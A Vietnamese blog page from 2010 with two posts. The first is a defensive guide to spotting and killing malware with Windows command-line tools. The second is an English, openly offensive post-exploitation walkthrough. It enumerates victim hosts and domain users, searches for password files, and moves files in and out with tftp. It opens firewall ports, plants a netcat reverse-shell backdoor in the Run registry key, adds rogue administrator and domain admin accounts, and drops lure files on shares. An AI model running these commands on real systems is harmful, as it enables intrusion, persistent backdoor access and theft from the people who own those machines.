Thứ Ba, 23 tháng 2, 2010

Diệt Virus Bằng Dòng Lệnh CMD

Posted by Unknown Thứ Ba, tháng 2 23, 2010, under | No comments

 Vào Start --> Run và đánh 'cmd.exe'. Việc gõ thêm cả đuôi '.exe' ở cuối mục rất quan trọng; đây là cách làm an toàn trong việc triệu gọi nhắc lệnh. Để đánh lừa một số người dùng, một số chương trình mã độc có thể cố lấy tên 'cmd.com' và trong trường hợp như vậy, malware sẽ được khởi chạy nếu bạn chỉ đánh vào lệnh 'cmd'.
vi dụ cụ thể luôn:

1-TASKLIST
- Hiển thị các tiến trình có PID lớn hơn 2000(tùy chọn PID) và in ra định dạng csv: hiển thị bao gồm "Image Name","PID","Session Name","Session#","Mem Usage","Status","User Name","CPU Time","Window Title"
Tasklist /v /fi "pid gt 2000" /fo csv
In ra một file cho dễ nhìn: Tasklist /v /fi "pid gt 2000" /fo csv >hell.txt
-Để hiển thị các tiến trình với trạng thái đang chạy với các username mặc định với các username: system, network service, local service, administrator. Còn nếu bạn đang chạy trong user nào thì hiện thị với tên user đó
Tasklist /fi "USERNAME eq NT AUTHORITY\SYSTEM” /fi "STATUS eq running"
Tasklist /fi "USERNAME eq SYSTEM" /fi "STATUS eq running" <--rút gọn
Tasklist /fi “username eq ten_user_dang_dung” /fi “status eq running”
Tasklist /fi “username ne system” /f “status eq running” <--lệnh này hiển thị trạng thái đang chạy với username ko phải là system
Tasklist /v /fi "STATUS eq running" xem chỉ những tiến trình đang chạy
-Hiển thị các file DLL chạy cùng tiến trình
Tasklist /m
Tasklist /fi “modules eq ntdll*” lệnh này chỉ lọc các file dll với đầu ngữ ntdll
Tasklist /fi “modules eq dnsq.dll” chỉ hiện tiến trình chạy có dnsq.dll (con dashfer)

2-TASKKILL
-Tắt tiến trình cùng lúc với nhiều PID, name
Taskkill /f /pid id1 /pid id2 /pid id3
Vidu với các id như 1234, 243, 879: taskkill /f /pid 1234 /pid 243 /pid 879
Taskkill /f /im explorer.exe /im system.exe /im userinit.exe

-Bắt ép tắt tiến trình nào đó đang chạy với username system (vd như notepad.exe)
Taskkill /f /fi “username eq system” /im notepad.exe

-Tắt tiến trình theo dạng cây với số ID là 1234 nhưng chỉ với username nào đó (administrator chẳng hạn)
Taskkill /pid 1234 /t fi “username eq administrator”

-Tắt tiến trình với PID lớn hơn 2000 mà ko quan tâm đến tên của nó
Taskkill /f /fi “pid ge 2000” /im * <--lưu ý dấu * chỉ áp dụng lọc cho tùy chọn /im

3-TSKILL
Lệnh này cũng để tắt tiến trình nhưng với ít tính năng lọc hơn
Tskill pid
Tskill name (vi dụ: tskill explorer) <--lưu ý là ko có đuôi .exe

4-WMIC
-Hển thị tiến trình 
wmic process list
wmic process list brief
wmic process list full
wmic process list brief /every:10 <-- cứ 10s lại cập nhật 1 lần (CTRL+C to end)
wmic process list brief | find "cmd.exe" <-- chỉ tìm với cmd.exe
wmic PROCESS WHERE "NOT ExecutablePath LIKE '%Windows%'" GET ExecutablePath
hiển thị các tiến trình ko nằm trong %windows%

-Hiển thị các chương trình khi khởi động
Wmic startup list brief
Wmic startup list full

-Hiển thị tên, danh sách các user
wmic USERACCOUNT WHERE "Disabled=0 AND LocalAccount=1" GET Name

-Tắt tiến trình với PID và name
Wmic process [pid] delete
Wmic process where name=’cmd.exe’ delete lưu ý: dấu ‘’ hay dấu “” đều được cả
Wmic process where name=”cmd.exe” call terminate

-Tắt một lúc nhiều tiến trình theo tên, pid
Wmic process where (name like OR name like “explorer.exe” OR name “iexplore.exe”) call terminate
Tắt 2 tiến trình có pid là 3288 và 4556
wmic process where (processid=3288 OR Processid=4556) call terminate

5-SC
Lệnh này dùng cho các services
-Truy vấn, xem các services, drivers
SC query type= services
SC query type= drivers
Hoặc xem tất cả: SC query type= all
-Tắt các dịch vụ đang chạy
SC stop schedule tắt schedule
SC stop srservice tắt system restore

- Disabled một dịch vụ nào đó
SC config schedule start= disabled
SC config srservice start= disabled
Với tên các services ở khóa HKLM\SYSTEM\CurrentControlSet\Services

6-NTSD
Theo mình biết thì lệnh này dùng để debug
Cũng ko biết nhiều về lệnh này có 2 lệnh sau dạng như tắt một tiến trình
NTSD –c q –p PID
NTSD –c q –pn name
Vd: ntsd –c q –pn explorer.exe

 Vào Start --> Run và đánh 'cmd.exe'. Việc gõ thêm cả đuôi '.exe' ở cuối mục rất quan trọng; đây là cách làm an toàn trong việc triệu gọi nhắc lệnh. Để đánh lừa một số người dùng, một số chương trình mã độc có thể cố lấy tên 'cmd.com' và trong trường hợp như vậy, malware sẽ được khởi chạy nếu bạn chỉ đánh vào lệnh 'cmd'.
7.'netstat'
Tiếp đến, khi nhắc lệnh xuất hiện, chạy lệnh netstat. Lệnh 'netstat –na' có thể cung cấp danh sách các cổng TCP và UDP trên máy tính. Thêm ‘o’ vào lệnh trên bạn có thể biết được process ID của mỗi quá trình đang sử dụng một cổng. Bắt đầu từ XP SP2, thêm ‘b’ bạn sẽ thấy tên file EXE đang sử dụng trên mỗi cổng, cùng với đó là các thư viện liên kết động (DLL) mà nó load để truyền thông với mạng. Tuy nhiên cần lưu ý rằng hành động thêm ‘b’ sẽ ngốn đi của hệ thống rất nhiều tài nguyên CPU.
Tuy nhiên hãy kiên trì. Giả dụ rằng bạn muốn quan sát việc sử dụng một cổng nào đó và xem cách chúng thay đổi thế nào theo thời gian. Hãy bổ sung thêm một dấu cách và sau đó một số nguyên vào lệnh netstat đó, lúc này nó sẽ có dạng "netstat –nao 1", lệnh trên sẽ được chạy với tần suất tương đương với số nguyên được cho, trong trường hợp này tần suất là 1s.

8.'reg'
Một bài phê bình của một hãng antivirus có thể giúp bạn có thêm kiến thức bên trong các registry key mà malware có thể đã sửa đổi. Để truy vấn registry key bằng dòng lệnh, hãy sử dụng lệnh reg. Cho dù một trang antivirus không cung cấp các registry key để phục vụ mục đích tìm kiếm thì bạn có thể nghiên cứu các registry key chung nhất bị sửa đổi bởi malware: các key có liên quan đến startup của hệ thống và đăng nhập của người dùng. Được biết đến như "run" registry key, lệnh reg có thể giúp hiển thị các giá trị của chúng tại cửa sổ dòng lệnh. Tuy nhiên lưu ý rằng, rất nhiều phần mềm hợp lệ cũng tự kích hoạt bằng cách sử dụng các key này. Sau khi chạy lệnh, bạn sẽ thấy các mục bên dưới các registry key này. Tiếp đến, thực hiện một vài tìm kiếm trên Google cho những gì được hiển thị để giúp bạn loại ra đâu là các thiết lập hợp lệ và đâu là malware.
C:\> reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
C:\> reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run once
C:\> reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run once
Các bạn chạy các lệnh với một lượng thời gian tương đối, thay thế HKLM bằng HKCU. Sự thay thế nào sẽ tìm các auto-start registry key có liên quan đến người dùng, thay vì chỉ các thiết lập toàn bộ hệ thống bằng HKLM.
9.'dir'
Bạn cũng nên kiểm tra thư mục autostart để tìm các chương trình không mong muốn bắt đầu từ đây. Chạy lệnh dir, sử dụng /A để hiển thị các file có hoặc không có tập các thuộc tính, cũng như các file bị ẩn và không bị ẩn.
C:\> dir /A "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"
10.'net users'  localgroup administrators'
Một số malware có thể tạo tài khoản trong máy tính nội bộ của bạn. Trong trường hợp đó, chúng ta cần chạy lệnh 'net users', đây là lệnh kiểm tra các tài khoản được định nghĩa trên hệ thống. Thêm vào đó, vì một số phần mềm bot có thể đăng ký tài khoản của nhóm quản trị viên nội bộ, khi đó chúng ta nên chạy lệnh "localgroup administrators", đây là lệnh kiểm tra thành viên của nhóm này. Bạn có biết tất cả những người trong nhóm quản trị viên không? Hình dưới đây sẽ hiển thị một ví dụ về trường hợp này.

Với Netstat
Hiển thị các cổng đang lắng nghe, đã thiết lập cùng với PID của nó
Netstat –ao
Rồi tasklist xem pid đó tiến trình j đang chạy
Hoặc dùng lệnh
Netstat –anobv 
để hiện cả tiến trình, pid, cổng đang lắng nghe
Lọc chỉ hiện các cổng đang lắng nghe(listening) và PID của cồng đó
Netstat –ano | find /I “listen”
Hoặc lọc với giá trị established
netstat -an | find /i "established"
Hiển thị bảng định tuyến
Netstat –r (giống lệnh route print)

NETSH (lệnh này đỉnh cao)

Hiển thị thiết lập TCP/IP
netsh interface ip show config
Reset lại TCP/IP
Netsh interface ip reset log.txt
Reset lại winsock
Netsh winsock reset
Hiển thị cấu hình firewall đã được thiết lập
Netsh firewall show config
Cho phép một chương trình lắng nghe thông qua firewall
netsh firewall add allowedprogram C:\test.exe test enable
Để mở một cổng trên firewall
netsh firewall add portopening tcp 2482 lt enable all
Để reset lại cấu hình firewall như mặc định
Netsh firewall reset


Một số về lệnh NET khác hay dùng

Xem các dịch vụ đang chạy
Net start

Mở 2 services server  workstation (Conflicker tắt 2 dịch vụ này). Để chia sẻ file
Net config server
Net config workstation


POWERSHELL
Bây giờ có powershell rất mạnh, cao cấp hơn chạy trên windows 7/server 2008

Hiện tiến trình chạy
Get-process
Ps (lệnh này giống linux)
gps

Lệnh tắt tiến trình, dừng tiến trình đang chạy
Stop-Process
kill
spps 

Start một dịch vụ
Start-Service 
Stop một dịch vụ
Stop-Service
1 số lệnh nhỏ nhưng cũng có ích phết

Chạy Powershell trên XP
http://www.microsoft.com/downloads/d...ng=en#filelist
http://www.powergui.org/downloads.jspa

Dưới đây là link về một số lệnh hay
http://ss64.com/nt/netsh.html
http://www.windowsnetworking.com/art...-Firewall.html
Còn trang này chuyên về kung fu dòng lệnh. Tuyệt đỉnh kung-fu
http://blog.commandlinekungfu.com/
Blog của anh này khá hay cả kung fu lẫn Ninja. Ác thật
http://synjunkie.blogspot.com/2008/0...c-dos-foo.html
http://synjunkie.blogspot.com/2008/0...-ninjitsu.html
 

Một Số Lệnh CMD

Posted by Unknown Thứ Ba, tháng 2 23, 2010, under | No comments

IPCONFIG
"ipconfig /all" can be used for viewing the IP information on the victim. This is useful as it gives the addresses of DNS servers, Wins servers and the gateway. These are potentially other targets.

ipconfig /all



NETSTAT
Netstat is useful for looking at what ports the victim has open and what connections it is making to other hosts. Although in I have put this inb the host enumeration section the information gained here will be valuable for network enumeration. Netstat can be used with a multitude of switches, each reveal different information. I'll cover the switches I find most useful.

netstat -anbv

This will list all connections,the executables involved in those connections and
To quickly list connections that are active pipe netstat through the find command:
netstat -an | find /i "established"

NET
The net command provides a great deal of information that is of use to an attacker. In particular for host enumeration "net share", "net session", "net use", "net start" and "net stop".
Net Share
net share "net share" can be used for creating new shares and is useful for identifying what folders the victim is already sharing. It will show hidden and non-hidden shares.
net start
net start This will list all services that are started. It will give you an idea of the roll of the victim host and tell you what AV or syslog software is running. services can be stopped using "net stop service_name".


Net Session
net session This is a great command for if you find yourself on a session to a server. It will list all the users that are connected (by username) and the PC names.

Note: if I wanted to quickly obtain the IP Addresses of the connected PC's for a script or something, I might use "nbtstat -S"

Net Accounts

"Net accounts" will list the details of the account policy that is enforced on the host, be it the default one or one pushed down from a domain controller. The information here is very useful as you can see it displays the account lockout policy and the lockout duration etc..
net accounts

NETSH
netsh can be used to dump out info about the network, firewall and connections.
netsh diag show all /v
The output from the above command is very verbose. To identify just the fields that have properties use the /p switch.
If you wanted to view the firewall configuration you could use:
netsh firewall show conf
Or If you want to see the config of the open ports through the firewall you can use the following command:
netsh firewall show port
As you can see the "netsh" command is very powerfull, I'll come back to it in the "Maintaining Access" section later.

GPRESULT
If the victim is a member of a domain the the "gpresult" will tell you what groups he and his computer are a member of, which group policies are applied and information about the OS.
gpresult

SET
Also just typing "set" will display some useful information such as the system variables (logon server, workstation name etc...) and the system paths.
set
DIR
"dir /s" will list all the directories and sub-directories. If you are looking for something in particular such as spreadsheets you can use "dir /s *.xls" or to also include possible password files use "dir /s *.xls password*.*"
dir /s password*


To look for additional tools use the "dir /s *.exe" command from the root directory. The PC may have had Resource Kits installed which often provide some excellent tools. Also dont forget the /a: switch to specify files with special attributes, such as hidden files.

dir /s /a:h 

Type
Type can be used to output a file to the screen. used in conjuction with "find" you can look for particular words in files.
type *.* | find /i "bank"

ROUTE
This will identify all network adapters and list connected subnets and routes. It also lists which adapters are which, this can be useful for adjusting settings using the "netsh" command.
route print
Routes can also be modified from the "route" command.

Network Enumeration
If the comprimised host is a connected to a network the commands listed below will help enumerate that network.

NET
"net view" is great for network enumeration.
"net view" will list all the hosts on the compromised hosts domain. "net view /domain" will list the domains that the compromised host can see. "net view /domain_name" will list the hosts on another domain.
Using the servername or host name will display all the shared resources (shares and printers) on the remote host. This will not show hidden shares though.
net view \\servername
net localgroup & net group
"net localgroup /domain" will list all the local groups on the domain. To view the members of a local group insert the groupname. Below are examples of using these commands to view the members of administrative groups and to find a list of all users. To an attacker who wants to compile a user list for password attacks this is critical information
net localgroup /domain


To view the members of a group you can specify the group name.
net localgroup administrators /domain
"net group /domain" will list all the Global groups on the domain. To view the members of a global group insert the groupname.
net group /domain


net group "domain admins" /domain

The command above will display the members of the global group "Domain Admins". As shown, I have now located a user in the "Domain Admins" group that I may want to target.
Below is another example of using the net group commands to enumerate all users on the domain.


NETSH
Another method I have found for enumerating all domain users is using the netsh command. I have found that I can run this on a remote Domain Controller even from an unprivileged account with no local or domain administrative rights.
netsh -r {ipaddress-of-remote-target} dump >textfile.txt

This will create a text file in the directory the command is run fron and under the "RAS Configuration" section all users will be listed. This output can easily be manipulated to give you a comprehensive user list and if telephone numbers have been configured it will list these also. Interesting!

ARP
looking at the arp cache will show you what computers the host has recently communicated with on the network. Then using "net view \\computername" will show you what shares that host has. I'm betting if your looking to hop onto another host and map drives these are good starting points because you host most likely has some level of access.
arp -a


And don't forget ipconfig either for recent connections.

ipconfig /displaydns

TREE
After creating a drive mapping to another computer (net use * \\servername\share" and changing to it, if you run the tree command it will list all the directories that you have access to. Another method is to use "dir /s" but tree has lines and it looks funky.
tree /f

Modification
An attacker may want to modify data on the compromised host, data such as log files or web pages etc....
There is a good little text editor that has been native to windows for many years called Edit. Edit is an interactive DOS based text editor with some great features.

edit passwords.txt
This is a great tool for whipping up a batch file and saving it on the host in the startup folder. Or for creating username lists and password lists to run with "net use" command in a FOR loop.
An attacker may also attempt to view or edit the logfiles in %systemroot%system32/logfiles
ECHO
echo can be used to create files or to input values into files.
echo hello > filename.txt

Scanning
To my knowlegde there are no port scanning tools that are native to XP or Windows 2003. There is one that comes in the resouce kit called portqry.exe so it may be worth a quick seach of the harddisk for that.
So what do we have?
NBTSTAT
Nbtstat is pretty good, although we can only scan one host at a time it does reveal some useful information.
nbtstat -A 192.168.1.10
This will show listening services on remote machine. Admitedly, it's not a great scanner but it does a bit.
What the key is here is to learn what the codes are for the services. For example some of the codes are listed below. Remember, google is your friend.


TELNET
If you locate a port that is open and you want to see if you can grab a banner you could use Telnet
telnet ip-address 80
type "get" and return twice
Although this does tell me the port is open and a web server is listening I can get more information by typing "GET / HTTP/1.0" after I have established a telnet connection.
After pressing return a few times you may get the banner revealing what web server version is running.
Telnet is great for enumerating mail servers also. Mail can even be sent using telnet so theres plenty of fun to be had there.

Maintaining Access
TFTP
If you want to get tools onto the host and you have a TFTP server that you can reach use the "tftp" command.
tftp -i ip-address-of-tftp-server get toolname.exe

Or to upload files from the victim to a remote server use:
tftp -i ip-address-of-tftp-server put filename-to-upload.txt

NETSH
To allow a program to listen through the firewall:
netsh firewall add allowedprogram C:\nltest.exe mltest enable
To open a port on the firewall:
netsh firewall add portopening tcp 2482 lt enable all

REG
The reg command is useful for both viewing the registry and adding keys to it. Here's how to view the contents of a subkey or add a key. The example below shows how an attacker may add a backdoor to your system
reg query HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v listener /d "C:\Windows\System32\nc.exe -p 6666 -L -d -e cmd.exe"


Then I would re-run "reg query" to verify my update.



Now next time the compromised hosts reboots i'll have a remote command shell waiting for me.

NET
So once an attacker is on a victims PC he may want to add an account so he can get back on if the user changes her password. Using the "net" command here's how it would be done using "net user".
net user synjunkie GoodPassword123 /add
Next the account is added to the Administrators group with the "net localgroup" command.
net localgroup Administrators synjunkie /add
On a Server the command an attacker may use to add his user account to an administrative group might be:
net group "domain admins" synjunkie /add

Further Exploration


As we have had a look around the comprimised host and have lookedat what the host is attached to we may want to start looking at whats on other hosts. again we use the "net" command to map drives and explore further.
net use
net view \\w2k3-srv/
net use * \\w2k3-srv/i386
net use
Z:
Once a share is found that I can read and write to I might leave a file there that might look intersting to someone "britney and Paris caught in the act.jpg" or "payroll-update.xls". If I can get somone to open such a file maybe I can comprimise their machine and the whole process begins again. It doesn't have to be an admin, as long as the victims have access to the data I want as an attacker thats all I need.


Xem Nhiều

Bài đăng phổ biến

Lưu trữ blog

Blog Archive